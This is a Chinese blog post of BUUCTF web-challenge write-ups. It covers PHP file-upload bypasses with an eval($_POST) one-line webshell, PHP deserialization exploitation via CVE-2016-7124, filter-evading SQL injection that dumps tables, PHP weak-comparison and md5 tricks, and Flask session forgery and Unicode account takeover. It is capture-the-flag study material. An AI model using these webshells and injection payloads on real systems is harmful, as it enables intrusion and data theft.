buuctf-web记录手册
title:buuctf-web记录手册
date:2021-06-29 11:30:13
author:HAN91
link:https://www.cnblogs.com/HAN91
极客大挑战2019 upload
关键词:php,phtml,过滤<?,文件上传
根据Content-Type判断图片:Content-Type: image/png
过滤'<?',传phtml一句话木马
GIF89a
<script language="php">eval($_POST['shell']);</script>
phtml简单来说就是将php嵌入html中
(这题很诡异的是我上传一个正常图片,回显Not Image)
极客大挑战2019 php
关键词:php反序列化,网站备份,php代码审计
🎀网站备份文件名猜测,嫌麻烦直接上目录扫描,为www.zip
www.zip中包含的文件主要为index.php,class.php,flag.php
🎀index.php中关键代码片段如下:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
从get请求中获取'select'的值,再将该变量反序列化(其中变量前加@是为了防止报错信息输出,导致信息泄露)
🎀class.php中Name对象:
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
O:4"Name":3:{s:8:"username";s:5:"admin";s:8:"password";i:100;}
从__destruct()函数中的逻辑来看,只有当password=100,username=admin时,会输出flag的值
__construct构造函数会将我们传入的值赋值给变量password和username,但是在反序列化后会调用__wakeup(),将username赋值为guest
CVE-2016-7124:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
👆👆👆通过上述漏洞可以跳过__wakeup()的执行
构造exp.php
<?php
Class Name{
private $username = 'nonono';
private $password = 'yesyes';
}
$a = new Name();
echo serialize($a);
?>
输出:
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
但是用url编码输出为:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
在Nameusername,Namepassword中,类名以及变量名前都存在不可见字符%00
因为private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上ascii为0的字符(不可见字符)
⭐payload需要修改的地方为成员变量个数,以及私有字段前增加%00(url编码的不可见字符)
payload:
select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
总结
常见的网站源码备份文件后缀:tar、tar.gz、zip、rar
常见的网站源码备份文件名:web、website、backup、back、www、wwwroot、temp
serialize()时,若存在__sleep(),会先调用__sleep(),再执行序列化操作
unserialize()时,若存在__wakeup(),反序列化后会调用__wakeup()
ACTF2020 新生赛 Upload1
关键词:图片马
🐴合成图片马命令:
copy 2.jpg/b + shell.php/a shell.jpg
上传shell.jpg,抓包更改后缀名为php,回显nonono~ Bad file!
更改后缀名为随机乱码字符,回显上传成功,目测设置黑名单
设置phtml后缀名,绕过成功
shell.php:
<script language="php">eval($_POST['shell']);</script>
合成图片马,上传改后缀,连shell
极客大挑战 2019 BabySQL1
关键词:sql注入、过滤关键字、过滤特殊符号、字符拼接
看题,登录框sql注入
经测试,发现过滤字符:select,sleep,*,and,or,union...
哈哈很多常用的嘛,不测了
考虑使用字符拼接绕过关键词检测,%2b为'+'url编码,直接使用'+'会被转成空格,payload:
?username=admin' an%2bd+slee%2bp(10)--+
&password=111
然后看着题目,发现过滤的关键字都置空的,双写也能绕过
?username=admin' anandd sleesleepp(10)--+&password=111
打点到此结束⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐
直接登录获得的并不是flag,继续找 ,order by发现为3个字段
?username=admin' o%2brder b%2by 4--+
&password=111
回显的字段为2,3
?username=admin&password=111' uni%2bon sele%2bct 1,2,3--+
爆表,从information_schema.tables中查找当前数据库所有表名,拼接在一起后在第二个字段输出
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(table_name),3 fr%2bom info%2brmation_schema.tables whe%2bre ta%2bble_schema=database()--+
爆字段
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(column_name),3 fr%2bom info%2brmation_schema.columns whe%2bre ta%2bble_name='b4bsql'--+
输出:
Hello id,username,password!
然后发现两个表字段都是一样的,那找b4bsql中的数据吧
拼接每行数据,并用---隔开
?username=admin&password=111' uni%2bon sele%2bct 1,group_concat(concat_ws('---',username,passwo%2brd)),3 fr%2bom b4bsql--+
输出:
总结
ACTF2020 新生赛 BackupFile1
关键词:is_numeric()绕过,==绕过,php弱类型比较表
看题,找备份文件,index.php.bak
🐴index.php代码如下:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
分析1️⃣下,get传递参数key
key通过is_numeric判断是否为数字,再通过intval获取变量key的整数值
最后如果变量key=="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3",输出flag
ヾ(。`Д´。)干嘛干嘛呢这是,气人
ლ(╹◡╹ლ)好了,百度完回来了
is_numeric(),可以将字符串转换成16进制,绕过判断(经常造成sql注入)
intval(),获取变量的整数值,默认为十进制
==,弱类型比较,当字符串和数字进行比较时,只提取字符串中开头的整数部分
⭐然后突然发现str是以123开头,弱类型比较是等于123的
好了payload:?key=123,成功拿到flag
...( _ _)ノ|壁
HCTF 2018 admin1
关键字:flask,session伪造,unicode欺骗
🦋登录和注册界面,看题admin
输入admin/admin登录失败
注册admin/admin该账户已被注册
🦋爆破⑧行,试了几个弱口令,我觉得留一个注册页面应该是用来注册的
注册admin123/admin123(弱口令老玩家٩◔̯◔۶ )
登录后回显(测了一遍并没有什么用):
🦋在changepassword中有一行被注释掉的提示信息
<!-- https://github.com/woadsl1234/hctf_flask/ -->
flask是一个微型的python开发的web框架
然后发现是题目源码,但是.sql文件中存储的admin密码是hash加密过的
🎀对不起我只能想到构造admin的session登录session用户了
给当前登录用户的session解密如下:
可以看到当前登录用户是admin123辣
index.html界面会回显用户账户名,目测是根据session中的name回显的,查看源代码中的index.shtml文件:
{% include('header.html') %}
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
<h1 class="nav">hctf{xxxxxxxxx}</h1>
{% endif %}
<!-- you are not admin -->
<h1 class="nav">Welcome to hctf</h1>
{% include('footer.html') %}
当session中的name=admin时,会输出flaghctf{xxxxxxxxx}
但是flask session加密需要秘钥,在config.py中找到SECRET_KEY=os.environ.get('SECRET_KEY') or 'ckj123'
利用flask_session加解密工具进行session加解密
将以下数据加密
{'_fresh': True, '_id': b'22ef025f1846ed290c3abc33091af4789157e04648638256aa7b8d41e4e27adfa91e24e72c43d5d81353bd327192646b54ca6b77e66626aab5f3d7521feba4ef', 'csrf_token': b'62c673754392025e9b7ce0ec4fe937415e76df71', 'image': b'wlBG', 'name': 'admin', 'user_id': '10'}
拿到flag,好耶ヾ(✿゚▽゚)ノ
🎀再来撸一下unicode同形字引起的安全问题
在这里Twisted库的版本是10.0.0
nodeprep.prepare()函数,第一次调用:会把其他类的编码转为ascii码,第二次调用:内容转为小写
ᴬᴰᴹᴵᴺ —> ADMIN —> admin
查看源代码rutes.py,自定义一个转小写函数:
def strlower(username):
username = nodeprep.prepare(username)
return username
在三个功能点处都调用过一次该函数:register、login、change
在登录时,会调用strlower(),将ᴬᴰᴹᴵᴺ 转成 ADMIN,存储在session中
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
因此,我们注册一个账户名为ᴬᴰᴹᴵᴺ的用户,登录后欢迎界面会显示ADMIN
修改密码时,同样会再次调用strlower(),将ADMIN转成admin,存储在session中
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
因此此时我们修改的密码为admin的密码
然后嚯嚯嚯拿到flagヾ(・ω・`。)
🎀大失败
因为登录时,是先写入session,再判断该账户是否登录成功
改密码时,需要获取session,再进行密码修改
因此在登录写入session之后,判断用户是否登录成功销毁session之前,此时修改密码,就可以成功修改登录用户的密码
但是我没有看见login处登录失败时,会销毁session
🐴所以先在火狐上登录一个随便注册的账号,打开更改密码界面
🐴再在谷歌上登录admin账号(随便输入密码)
🐴最后修改密码
用修改的密码登录admin账号失败
参考链接:
弱类型比较表
极客大挑战 2019 BuyFlag
关键词:php、strcmp()绕过
🎀查看pay.php源码,发现提示
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
password弱比较,password=404a
🎀根据Flag need your 100000000 money,可以使用科学计数法1e9,也可以通过strcmp漏洞,进行绕过
money[]=a 或者money=1e9都可以
🎀根据You must be a student from CUIT,大概率是在cookie处验证身份信息
发现cookie处有一个user=0,改成user=1即可通过验证
BJDCTF2020 Easy MD5
关键词:php、md5()绕过
抓包看见响应包中的提示
Hint: select * from 'admin' where password=md5($pass,true)
看题如果正常md5加密pass这个逻辑,肯定注不进去哇
辣就去找关于md5()这个函数的漏洞
语法:md5(string,raw)
string:所需加密的字符串
raw:可选参数TRUE或FALSE。FALSE(默认,32字符十六进制数);TRUE(原始16字符二进制格式)
也就是说当第二个参数为true时,返回的是原始16字符二进制格式的散列值,会被当做ascii码字符串处理(?)
⭐原始二进制数据指原始字符串转换成ascii码后组成的字符串
所以只需要找到一个str,经过md5(str, true)加密后,再转成ascii码字符串,包含我们需要注入的字符即可
看sql语句
select * from 'admin' where password=md5($pass,true)
将where后的条件恒为真时,我们就可获取admin表中的所有数据
🐴能用的字符串
content: 129581926211651571912466741651878684928
hex: 06da5430449f8f6f23dfc1276f722738
raw: \x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
string: T0Do#'or'8
content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b
当且仅当or后字符串开头字符为0时,返回false
输入payload,跳转至levels91.php,源码中包含提示:
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
当字符串a,b不相等,md5加密后的字符串相等后,进入if中没有放出来的代码
⭐5️⃣⑧訾Daoの4:md5()或者sha1()之类的函数计算的是一个字符串的哈希值,对于数组则返回false,如果$a和$b都是数组则双双返回FALSE, 两个FALSE相等得以绕过
payload:
?a[]=111&b[]=www
跳转至levell14.php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
payload(POST请求):
param1[]=1¶m2[]=2
一样のzsd
参考链接
未完待续...